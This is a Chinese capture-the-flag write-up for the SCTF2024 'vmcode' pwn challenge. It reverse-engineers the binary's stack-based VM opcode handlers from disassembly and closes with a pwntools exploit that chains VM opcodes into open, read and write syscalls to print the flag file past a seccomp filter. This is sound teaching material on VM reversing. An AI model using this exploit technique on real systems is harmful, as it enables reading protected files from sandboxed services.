题目来源:SCTF2024 vmcode
1.前言
现在,越来多的比赛考察了有关vm逆向的知识点,题目不限于re类题目,还有pwn题,像今年的ciscn和qwb的remem,都考察了这个知识点
ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器(Emulator)。逆向中的vm保护是一种基于虚拟机的代码保护技术。它将基于x86汇编系统中的可执行代码转换为字节码指令系统的代码,来达到不被轻易逆向和篡改的目的。简单点说就是将程序的代码转换自定义的操作码(opcode),然后在程序执行时再通过解释这些操作码,选择对应的函数执行,从而实现程序原有的功能。也就是说程序所要执行的有意义的代码没有直接显露出来,我们需要通过分析将拆分了的代码重新拼接起来具有可读性才能知道程序到底执行了什么。
对于理解这一类题目,我们明确一下四个关键点
- vm_start:虚拟机的入口函数,对虚拟机环境进行初始化
- vm_dispatcher:调度器,解释opcode,并选择对应的handle函数执行,当handle执行完后会跳回这里,形成一个循环。
- opcode :程序可执行代码转换成的操作码
- handler:各种功能对象模块
vm运行起来的逻辑也就是通过不断通过读取opcode,交给dispatcher去处理,而dispatcher通过预定义好的opcode去寻找handler处理对应逻辑
而解题一般步骤:分析VM结构->分析opcode->编写parser->re算法
vm结构常见类型:
- 基于栈、基于队列、基于信号量
opcode:
- 与VM数据结构对应的指令 :push pop
- 运算指令:add、sub、mul
2.vmcode
2.1 初识
sctf的vmcode的这道题一看就是沙箱保护绕过题,发现禁用了系统调用
但同时 main 函数里面没有显示出程序的大体逻辑,很奇怪
保护看一下:没有 canary 并且 got 表可写
seccomp-tools 看看,发现 orw 全开,则:
open开flag文件
read出flag的内容
write显示flag的值
多调试一下发现,还是一道虚拟机 pwn 题,因为程序似乎一直在读取某个地方的数据并且多次跳转到同一地点执行有关操作,所以主要难点就在于对虚拟机指令集的分析,以及程序如何解析输入的 opcode
2.2 动态分析
直接运行程序有输出的,并且接受我们的输入,找了一下发现程序里并没有完整“shellcode”字符串,也没有 write 和 read 函数的调用,那么猜想程序的这些操作也都是通过 opcode 来实现的
由于前面我们猜测这题可能与vm逆向有关,看一下 name,果然发现了 stack 和 code:stack 位于 bss,code 位于 data 区
并且在 code 中好像发现了 shellcode 字符串的踪影,不过是被打乱了的
ida 中 main 函数逐条汇编阅读,发现了关键的地方,注释如下,这个地方应该是实现了虚拟机模拟器的一个 dispatcher 函数,是根据 code 和 offset 来决定跳转到那个 handle 函数的
经过漫长的调试,这中间执行了很多 handle,然后发现了一个执行 syscall 的系统调用的 handle,下面是执行 sys_write
下表是x86-64系统调用有关的寄存器:
syscall number | syscall | %rax | %rdi | %rsi | %rdx | %rcx | %r8 | %r9 |
---|---|---|---|---|---|---|---|---|
0 | sys_read | 0x0 | unsigned int fd | char *buf | size_t count | |||
1 | sys_write | 0x1 | unsigned int fd | const char *buf | size_t count | |||
2 | sys_open | 0x2 | const char *filename | int flags | int mode |
那么我们就是要字节构造一段 shellcode,让这个 syscall 来执行
在 syscall 这里下一个断点,根据直接运行可以知道,他下次调用会从我们的输入中读取:及从标准输入中向 code+65 的位置读入 0x50 的数据
读入aaaaaaaaa后我们分析一下是怎么接着执行的:
发现此时rsi正好是0x41=65,也就是后面读取code+65的地方,也就是正好我们输入的a,再走一步验证一下rax的值也正好是0x61
2.3 重点数据分析
offset:
3A 00 5F 00 6D 00 8A 00 A6 00 C2 00 DF 00 F4 00 F8 00 0E 01 22 01 38 01 69 01 86 01 A3 01 C0 01 EB 01 FF 01 18 02
由下面可知每次是取 offset 的两个字节到 ax 中的,再整理一下 offset 的数据得到如下(hex):共 19 个跳转偏移地址
mov ax, [rax+rcx*2]
3A 5F 6D 8A A6 C2 DF F4 F8 10E 122 138 169 186 1A3 1C0 1EB 1FF 218
再计算每次跳转的位置:每个 rax 都加上 0x123a,发现正好对应着 0x1274 后面的 19 个代码片段,通过 ida 快捷键 p 可以创建成为函数
.text:000000000000126C 028 48 01 C8 add rax, rcx
.text:000000000000126F 028 50 push rax
.text:0000000000001270 030 83 E7 0F and edi, 0Fh
.text:0000000000001273 030 C3 retn
下面逐步分析一下这 19 个代码片段:
.text:0000000000001274 ; =============== S U B R O U T I N E =======================================
.text:0000000000001274
.text:0000000000001274 ; code数组为虚拟机代码段数据
.text:0000000000001274 ; stack数组为虚拟机的虚拟栈
.text:0000000000001274 ; rax+rsi寄存器看作虚拟机rip
.text:0000000000001274 ; rbx+rdi*8寄存器当作虚拟机压栈后的rsp
.text:0000000000001274 ;
.text:0000000000001274 ; rip存入stack中
.text:0000000000001274 ; code中取一个两字节的与si做加法并存入si
.text:0000000000001274
.text:0000000000001274 ; __int16 __fastcall sub_1274(__int64, __int64)
.text:0000000000001274 sub_1274 proc near
.text:0000000000001274 000 48 8D 05 C5 2D 00 00 lea rax, code
.text:000000000000127B 000 66 8B 04 30 mov ax, [rax+rsi]
.text:000000000000127F 000 48 83 C6 02 add rsi, 2
.text:0000000000001283 000 48 8D 1D D6 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:000000000000128A 000 48 89 34 FB mov [rbx+rdi*8], rsi
.text:000000000000128E 000 48 FF C7 inc rdi
.text:0000000000001291 000 66 01 C6 add si, ax
.text:0000000000001294 000 48 0F B7 F6 movzx rsi, si
.text:0000000000001298 000 C3 retn
.text:0000000000001298
.text:0000000000001298 sub_1274 endp
.text:0000000000001298
.text:0000000000001299
.text:0000000000001299 ; =============== S U B R O U T I N E =======================================
.text:0000000000001299
.text:0000000000001299 ; 弹栈,取出栈中ret地址给esi
.text:0000000000001299
.text:0000000000001299 ; void sub_1299()
.text:0000000000001299 sub_1299 proc near
.text:0000000000001299 000 48 FF CF dec rdi
.text:000000000000129C 000 48 8D 1D BD 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000012A3 000 8B 34 FB mov esi, [rbx+rdi*8]
.text:00000000000012A6 000 C3 retn
.text:00000000000012A6
.text:00000000000012A6 sub_1299 endp
.text:00000000000012A6
.text:00000000000012A7
.text:00000000000012A7 ; =============== S U B R O U T I N E =======================================
.text:00000000000012A7
.text:00000000000012A7 ; 栈顶两个值异或,然后保存到上面的值里面并弹出下面的值
.text:00000000000012A7
.text:00000000000012A7 ; __int64 __fastcall sub_12A7(__int64)
.text:00000000000012A7 sub_12A7 proc near
.text:00000000000012A7 000 48 8D 1D B2 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000012AE 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000012B3 000 48 8B 4C FB F0 mov rcx, [rbx+rdi*8-10h]
.text:00000000000012B8 000 48 31 C8 xor rax, rcx
.text:00000000000012BB 000 48 89 44 FB F0 mov [rbx+rdi*8-10h], rax
.text:00000000000012C0 000 48 FF CF dec rdi
.text:00000000000012C3 000 C3 retn
.text:00000000000012C3
.text:00000000000012C3 sub_12A7 endp
.text:00000000000012C3
.text:00000000000012C4
.text:00000000000012C4 ; =============== S U B R O U T I N E =======================================
.text:00000000000012C4
.text:00000000000012C4 ; 栈上第一个参数与第三个参数交换
.text:00000000000012C4
.text:00000000000012C4 ; __int64 __fastcall sub_12C4(__int64)
.text:00000000000012C4 sub_12C4 proc near
.text:00000000000012C4 000 48 8D 1D 95 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000012CB 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000012D0 000 48 8B 4C FB E8 mov rcx, [rbx+rdi*8-18h]
.text:00000000000012D5 000 48 89 4C FB F8 mov [rbx+rdi*8-8], rcx
.text:00000000000012DA 000 48 89 44 FB E8 mov [rbx+rdi*8-18h], rax
.text:00000000000012DF 000 C3 retn
.text:00000000000012DF
.text:00000000000012DF sub_12C4 endp
.text:00000000000012DF
.text:00000000000012E0
.text:00000000000012E0 ; =============== S U B R O U T I N E =======================================
.text:00000000000012E0
.text:00000000000012E0 ; 栈上第一个参数与第二个参数交换
.text:00000000000012E0
.text:00000000000012E0 ; __int64 __fastcall sub_12E0(__int64)
.text:00000000000012E0 sub_12E0 proc near
.text:00000000000012E0 000 48 8D 1D 79 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000012E7 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000012EC 000 48 8B 4C FB F0 mov rcx, [rbx+rdi*8-10h]
.text:00000000000012F1 000 48 89 4C FB F8 mov [rbx+rdi*8-8], rcx
.text:00000000000012F6 000 48 89 44 FB F0 mov [rbx+rdi*8-10h], rax
.text:00000000000012FB 000 C3 retn
.text:00000000000012FB
.text:00000000000012FB sub_12E0 endp
.text:00000000000012FB
.text:00000000000012FC
.text:00000000000012FC ; =============== S U B R O U T I N E =======================================
.text:00000000000012FC
.text:00000000000012FC ; 从code中取8字节的参数压入栈
.text:00000000000012FC
.text:00000000000012FC ; __int64 __fastcall sub_12FC(__int64, __int64)
.text:00000000000012FC sub_12FC proc near
.text:00000000000012FC 000 48 8D 05 3D 2D 00 00 lea rax, code
.text:0000000000001303 000 8B 04 30 mov eax, [rax+rsi]
.text:0000000000001306 000 48 83 C6 04 add rsi, 4
.text:000000000000130A 000 48 8D 1D 4F 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001311 000 48 89 04 FB mov [rbx+rdi*8], rax
.text:0000000000001315 000 48 FF C7 inc rdi
.text:0000000000001318 000 C3 retn
.text:0000000000001318
.text:0000000000001318 sub_12FC endp
.text:0000000000001318
.text:0000000000001319
.text:0000000000001319 ; =============== S U B R O U T I N E =======================================
.text:0000000000001319
.text:0000000000001319 ; 将栈上单字节扩展成8字节
.text:0000000000001319
.text:0000000000001319 ; __int64 __fastcall sub_1319(__int64)
.text:0000000000001319 sub_1319 proc near
.text:0000000000001319 000 48 8D 1D 40 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001320 000 8A 44 FB F8 mov al, [rbx+rdi*8-8]
.text:0000000000001324 000 48 0F B6 C0 movzx rax, al
.text:0000000000001328 000 48 89 44 FB F8 mov [rbx+rdi*8-8], rax
.text:000000000000132D 000 C3 retn
.text:000000000000132D
.text:000000000000132D sub_1319 endp
.text:000000000000132D
.text:000000000000132E
.text:000000000000132E ; =============== S U B R O U T I N E =======================================
.text:000000000000132E
.text:000000000000132E ; 从栈上弹出一个数据,不做其他任何事情
.text:000000000000132E
.text:000000000000132E ; void sub_132E()
.text:000000000000132E sub_132E proc near
.text:000000000000132E 000 48 FF CF dec rdi
.text:0000000000001331 000 C3 retn
.text:0000000000001331
.text:0000000000001331 sub_132E endp
.text:0000000000001331
.text:0000000000001332
.text:0000000000001332 ; =============== S U B R O U T I N E =======================================
.text:0000000000001332
.text:0000000000001332 ; 栈上参数shr 8
.text:0000000000001332
.text:0000000000001332 ; __int64 __fastcall sub_1332(__int64)
.text:0000000000001332 sub_1332 proc near
.text:0000000000001332 000 48 8D 1D 27 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001339 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:000000000000133E 000 48 C1 E8 08 shr rax, 8
.text:0000000000001342 000 48 89 44 FB F8 mov [rbx+rdi*8-8], rax
.text:0000000000001347 000 C3 retn
.text:0000000000001347
.text:0000000000001347 sub_1332 endp
.text:0000000000001347
.text:0000000000001348
.text:0000000000001348 ; =============== S U B R O U T I N E =======================================
.text:0000000000001348
.text:0000000000001348 ; 复制栈顶数据并压入栈
.text:0000000000001348
.text:0000000000001348 ; __int64 __fastcall sub_1348(__int64)
.text:0000000000001348 sub_1348 proc near
.text:0000000000001348 000 48 8D 1D 11 31 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:000000000000134F 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:0000000000001354 000 48 89 04 FB mov [rbx+rdi*8], rax
.text:0000000000001358 000 48 FF C7 inc rdi
.text:000000000000135B 000 C3 retn
.text:000000000000135B
.text:000000000000135B sub_1348 endp
.text:000000000000135B
.text:000000000000135C
.text:000000000000135C ; =============== S U B R O U T I N E =======================================
.text:000000000000135C
.text:000000000000135C ; 栈上参数shl 8
.text:000000000000135C
.text:000000000000135C ; __int64 __fastcall sub_135C(__int64)
.text:000000000000135C sub_135C proc near
.text:000000000000135C 000 48 8D 1D FD 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001363 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:0000000000001368 000 48 C1 E0 08 shl rax, 8
.text:000000000000136C 000 48 89 44 FB F8 mov [rbx+rdi*8-8], rax
.text:0000000000001371 000 C3 retn
.text:0000000000001371
.text:0000000000001371 sub_135C endp
.text:0000000000001371
.text:0000000000001372
.text:0000000000001372 ; =============== S U B R O U T I N E =======================================
.text:0000000000001372
.text:0000000000001372 ; 栈上参数如果等于0,则跳转到loc_138c
.text:0000000000001372
.text:0000000000001372 ; __int16 __fastcall sub_1372(__int64, __int64)
.text:0000000000001372 sub_1372 proc near
.text:0000000000001372 000 48 8D 1D E7 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001379 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:000000000000137E 000 48 FF CF dec rdi
.text:0000000000001381 000 48 83 F0 00 xor rax, 0
.text:0000000000001385 000 75 05 jnz short loc_138C
.text:0000000000001385
.text:0000000000001387 000 48 83 C6 02 add rsi, 2
.text:000000000000138B 000 C3 retn
.text:000000000000138B
.text:000000000000138C ; ---------------------------------------------------------------------------
.text:000000000000138C
.text:000000000000138C loc_138C: ; CODE XREF: sub_1372+13↑j
.text:000000000000138C 000 48 8D 05 AD 2C 00 00 lea rax, code
.text:0000000000001393 000 66 8B 04 30 mov ax, [rax+rsi]
.text:0000000000001397 000 48 83 C6 02 add rsi, 2
.text:000000000000139B 000 66 01 C6 add si, ax
.text:000000000000139E 000 48 0F B7 F6 movzx rsi, si
.text:00000000000013A2 000 C3 retn
.text:00000000000013A2
.text:00000000000013A2 sub_1372 endp
.text:00000000000013A2
.text:00000000000013A3
.text:00000000000013A3 ; =============== S U B R O U T I N E =======================================
.text:00000000000013A3
.text:00000000000013A3 ; 栈上第二个参数 ror 循环右移 后放入第一个参数 弹出第二个参数
.text:00000000000013A3
.text:00000000000013A3 ; __int64 __fastcall sub_13A3(__int64)
.text:00000000000013A3 sub_13A3 proc near
.text:00000000000013A3 000 48 8D 1D B6 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000013AA 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000013AF 000 48 8B 4C FB F0 mov rcx, [rbx+rdi*8-10h]
.text:00000000000013B4 000 48 D3 C8 ror rax, cl
.text:00000000000013B7 000 48 89 44 FB F0 mov [rbx+rdi*8-10h], rax
.text:00000000000013BC 000 48 FF CF dec rdi
.text:00000000000013BF 000 C3 retn
.text:00000000000013BF
.text:00000000000013BF sub_13A3 endp
.text:00000000000013BF
.text:00000000000013C0
.text:00000000000013C0 ; =============== S U B R O U T I N E =======================================
.text:00000000000013C0
.text:00000000000013C0 ; 栈上第二个参数 rol 循环左移 后放入第一个参数 弹出第二个参数
.text:00000000000013C0
.text:00000000000013C0 ; __int64 __fastcall sub_13C0(__int64)
.text:00000000000013C0 sub_13C0 proc near
.text:00000000000013C0 000 48 8D 1D 99 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000013C7 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000013CC 000 48 8B 4C FB F0 mov rcx, [rbx+rdi*8-10h]
.text:00000000000013D1 000 48 D3 C0 rol rax, cl
.text:00000000000013D4 000 48 89 44 FB F0 mov [rbx+rdi*8-10h], rax
.text:00000000000013D9 000 48 FF CF dec rdi
.text:00000000000013DC 000 C3 retn
.text:00000000000013DC
.text:00000000000013DC sub_13C0 endp
.text:00000000000013DC
.text:00000000000013DD
.text:00000000000013DD ; =============== S U B R O U T I N E =======================================
.text:00000000000013DD
.text:00000000000013DD ; 栈上第一个和第二个参数and
.text:00000000000013DD
.text:00000000000013DD ; __int64 __fastcall sub_13DD(__int64)
.text:00000000000013DD sub_13DD proc near
.text:00000000000013DD 000 48 8D 1D 7C 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:00000000000013E4 000 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:00000000000013E9 000 48 8B 4C FB F0 mov rcx, [rbx+rdi*8-10h]
.text:00000000000013EE 000 48 21 C8 and rax, rcx
.text:00000000000013F1 000 48 89 44 FB F0 mov [rbx+rdi*8-10h], rax
.text:00000000000013F6 000 48 FF CF dec rdi
.text:00000000000013F9 000 C3 retn
.text:00000000000013F9
.text:00000000000013F9 sub_13DD endp
.text:00000000000013F9
.text:00000000000013FA
.text:00000000000013FA ; =============== S U B R O U T I N E =======================================
.text:00000000000013FA
.text:00000000000013FA ; 唯一用于执行syscall的代码
.text:00000000000013FA ; rax 对应系统调用号
.text:00000000000013FA ; 从stack中分别取出rax,rdi,rsi,rdx
.text:00000000000013FA
.text:00000000000013FA ; __int64 __fastcall sub_13FA(__int64)
.text:00000000000013FA sub_13FA proc near
.text:00000000000013FA 000 56 push rsi
.text:00000000000013FB 008 48 8D 1D 5E 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:0000000000001402 008 48 8B 44 FB F8 mov rax, [rbx+rdi*8-8]
.text:0000000000001407 008 48 8B 74 FB E8 mov rsi, [rbx+rdi*8-18h]
.text:000000000000140C 008 48 8B 54 FB E0 mov rdx, [rbx+rdi*8-20h]
.text:0000000000001411 008 57 push rdi
.text:0000000000001412 010 48 8B 7C FB F0 mov rdi, [rbx+rdi*8-10h]
.text:0000000000001417 010 0F 05 syscall ; LINUX -
.text:0000000000001419 010 5F pop rdi
.text:000000000000141A 008 48 83 EF 03 sub rdi, 3
.text:000000000000141E 008 5E pop rsi
.text:000000000000141F 000 48 89 44 FB F8 mov [rbx+rdi*8-8], rax
.text:0000000000001424 000 C3 retn
.text:0000000000001424
.text:0000000000001424 sub_13FA endp
.text:0000000000001424
.text:0000000000001425
.text:0000000000001425 ; =============== S U B R O U T I N E =======================================
.text:0000000000001425
.text:0000000000001425 ; 将stack的rsp压入栈
.text:0000000000001425
.text:0000000000001425 ; _QWORD *__fastcall sub_1425(__int64)
.text:0000000000001425 sub_1425 proc near
.text:0000000000001425 000 48 8D 1D 34 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:000000000000142C 000 48 8D 44 FB F8 lea rax, [rbx+rdi*8-8]
.text:0000000000001431 000 48 89 04 FB mov [rbx+rdi*8], rax
.text:0000000000001435 000 48 FF C7 inc rdi
.text:0000000000001438 000 C3 retn
.text:0000000000001438
.text:0000000000001438 sub_1425 endp
.text:0000000000001438
.text:0000000000001439
.text:0000000000001439 ; =============== S U B R O U T I N E =======================================
.text:0000000000001439
.text:0000000000001439 ; 将code的rip压入栈
.text:0000000000001439
.text:0000000000001439 ; char *__fastcall sub_1439(__int64, __int64)
.text:0000000000001439 sub_1439 proc near
.text:0000000000001439 000 48 8D 05 00 2C 00 00 lea rax, code
.text:0000000000001440 000 48 01 F0 add rax, rsi
.text:0000000000001443 000 48 8D 1D 16 30 00 00 lea rbx, stack ; 15*8=120byte=0x78byte
.text:000000000000144A 000 48 89 04 FB mov [rbx+rdi*8], rax
.text:000000000000144E 000 48 FF C7 inc rdi
.text:0000000000001451 000 C3 retn
.text:0000000000001451
.text:0000000000001451 sub_1439 endp
.text:0000000000001451
.text:0000000000001452
.text:0000000000001452 ; =============== S U B R O U T I N E =======================================
.text:0000000000001452
.text:0000000000001452 ; syscall exit
.text:0000000000001452
.text:0000000000001452 ; void sub_1452()
.text:0000000000001452 sub_1452 proc near
.text:0000000000001452 000 31 FF xor edi, edi ; error_code
.text:0000000000001454 000 31 C0 xor eax, eax
.text:0000000000001456 000 B0 3C mov al, 3Ch ; '<'
.text:0000000000001458 000 0F 05 syscall ; LINUX - sys_exit
.text:0000000000001458 ; } // starts at 1169
.text:0000000000001458
.text:0000000000001458 sub_1452 endp
.text:0000000000001458
.text:0000000000001458 _text ends
.text:0000000000001458
LOAD:000000000000145A ; ===========================================================================
分析得到所有 opcode 如下:
这里的所有栈指的都是虚拟机模拟器的虚拟栈,这个栈是向下增长的,其中的每个数据应该都是 8 字节,要取出栈顶的数据[rbx+rdi*8-8]。(不是原来 x86 那种小端的取法,有一点点差别)
opcode func
0x21 rip存入stack中,code中取一个两字节的与si做加法并存入si
0x22 弹栈,取出栈中ret地址给esi
0x23 栈顶两个值异或,然后保存到上面的值里面并弹出下面的值
0x24 栈上第一个参数与第三个参数交换
0x25 栈上第一个参数与第二个参数交换
0x26 从code中取4字节的参数压入栈(但是压入8字节)
0x27 将栈上单字节扩展成8字节
0x28 从栈上弹出一个数据,不做其他任何事情
0x29 栈上8字节参数shr 8
0x2a 复制栈顶数据并压入栈
0x2b 栈上8字节参数shl 8
0x2c 栈上参数如果等于0,则跳转到loc_138c
0x2d 栈上第二个参数 ror 循环右移 后放入第一个参数 弹出第二个参数
0x2e 栈上第二个参数 rol 循环左移 后放入第一个参数 弹出第二个参数
0x2f 栈上第一个和第二个参数and
0x30 唯一用于执行syscall的代码,rax 对应系统调用号,从stack中分别取出rax,rdi,rsi,rdx
0x31 将stack的rsp压入栈
0x32 将code的rip压入栈
0x33 syscall exit
同时,我们可以结合shellcode的输出,来具体分析一下这个函数的执行流程
- 0x26,取出lcod四字节(对齐8字节)压入栈
- 0x2b执行四次,也就是将这实际4字节按照小端方式存储
- 0x26,取出shel四字节(对齐8字节)压入栈
- 0x23,其实是把shellcod拼接了起来,通过栈操作,这样就组成了一个8字节的数据
- 0x31,将shellcod的起始地址压入栈
- 0x26,取出e:
- 0x25,shellcod起始地址与e:交换
- 0x26,压入0b
- 0x25,0b与shellcod起始地址交换
- 0x26,压入1
- 0x26,压入1
- 0x30,syscall执行,画个图看一下vm——stack
2.4 exp
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
io = process("./pwn")
def call(offset):
return p8(0x21) + p16(offset)
def ret():
return p8(0x22)
def xor():
return p8(0x23)
def swap02():
return p8(0x24)
def swap01():
return p8(0x25)
def push_imm(imm):
return p8(0x26) + p32(imm)
def extand_byte():
return p8(0x27)
def pop():
return p8(0x28)
def shr():
return p8(0x29)
def dup():
return p8(0x2a)
def shl():
return p8(0x2b)
def jmp(offset):
return p8(0x2c) + p16(offset)
def ror():
return p8(0x2d)
def rol():
return p8(0x2e)
def and_():
return p8(0x2f)
def syscall():
return p8(0x30)
def push_sp():
return p8(0x31)
def push_ip():
return p8(0x32)
def exit_():
return p8(0x33)
payload = flat([
# open("/flag", 0)
push_imm(0x67616c66), # "/flag"
push_sp(),
push_imm(0x0),
swap01(),
push_imm(0x2),
syscall(),
# read(3, buf, 0x100)
push_imm(0x100),
push_sp(),
# 通过移位操作将末字节清0,直接将buf从bss的stack挪到了data的code
shr(),
shl(),
push_imm(0x3),
push_imm(0x0),
syscall(),
# write(1, buf, 0x100)
push_imm(0x100),
push_sp(),
shr(),
shl(),
push_imm(0x1),
push_imm(0x1),
syscall(),
])
gdb.attach(io, "b *($rebase(0x000000000001417))")
pause()
io.sendafter(b"shellcode: ",payload)
io.interactive()
但是这里需要注意,read 文件后到底是read到哪里的buf了,exp里通过了一个巧妙的将rsp移位的操作,使得buf地址变到了code的数据区域
3.总结
vm的re或者pwn题,主要还是考察选手不断调试分析,重点是要多花时间多细心
其实,做会了一道题,其他的题目也就照猫画虎了,顶多是后面再结合上其他的知识点进行考察
下面也给大家提供一下有关的源码学习,参照zs0zrc佬,网上搜一下‘逆向之虚拟机保护’就行了,但一定要编译出来对着调试分析
但ctf题目与实际情况也总是存在一些差别的,像商用软件VMProtect,提供了软件虚拟化、混淆、反调试等操作,但也有相关的破解教程,大家可以上网查找一下,主要还是学习思路